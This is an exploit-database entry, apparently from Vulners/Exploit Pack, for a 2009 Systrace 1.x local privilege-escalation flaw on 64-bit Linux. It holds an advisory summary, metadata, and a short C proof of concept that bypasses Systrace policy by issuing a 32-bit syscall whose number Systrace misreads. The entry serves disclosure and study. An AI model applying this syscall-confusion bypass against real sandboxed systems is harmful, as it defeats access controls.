Search...

Systrace 1.x (Linux Kernel x64) - Aware Local Privilege Escalation

2009-01-23T00:00:00

ID EXPLOITPACK:98B8C80DA1B922035BDB3E92255FC5CE
Type exploitpack
Reporter Chris Evans
Modified 2009-01-23T00:00:00

Description

Systrace 1.x (Linux Kernel x64) - Aware Local Privilege Escalation

                                        
                                            /*
source: https://www.securityfocus.com/bid/33417/info

Systrace is prone to a local privilege-escalation vulnerability.

A local attacker may be able to exploit this issue to bypass access control restrictions and make unintended system calls, which may result in an elevation of privileges.

Versions prior to Systrace 1.6f are vulnerable.
*/

int
main(int argc, const char* argv[])
{
  /* Syscall 1 is exit on i386 but write on x86_64. */
  asm volatile("movl $1, %eax\n"
               "int $0x80\n");
  for (;;);
}

JSON Vulners Source

Initial Source

{"lastseen": "2020-04-01T19:04:50", "references": [], "description": "\nSystrace 1.x (Linux Kernel x64) - Aware Local Privilege Escalation", "edition": 1, "reporter": "Chris Evans", "exploitpack": {"type": "local", "platform": "linux_x86-64"}, "published": "2009-01-23T00:00:00", "title": "Systrace 1.x (Linux Kernel x64) - Aware Local Privilege Escalation", "type": "exploitpack", "enchantments": {"dependencies": {"references": [], "modified": "2020-04-01T19:04:50", "rev": 2}, "score": {"value": 0.8, "vector": "NONE", "modified": "2020-04-01T19:04:50", "rev": 2}, "vulnersScore": 0.8}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2009-01-23T00:00:00", "id": "EXPLOITPACK:98B8C80DA1B922035BDB3E92255FC5CE", "href": "", "viewCount": 1, "sourceData": "/*\nsource: https://www.securityfocus.com/bid/33417/info\n\nSystrace is prone to a local privilege-escalation vulnerability.\n\nA local attacker may be able to exploit this issue to bypass access control restrictions and make unintended system calls, which may result in an elevation of privileges.\n\nVersions prior to Systrace 1.6f are vulnerable.\n*/\n\nint\nmain(int argc, const char* argv[])\n{\n /* Syscall 1 is exit on i386 but write on x86_64. */\n asm volatile(\"movl $1, %eax\\n\"\n \"int $0x80\\n\");\n for (;;);\n}", "cvss": {"score": 0.0, "vector": "NONE"}}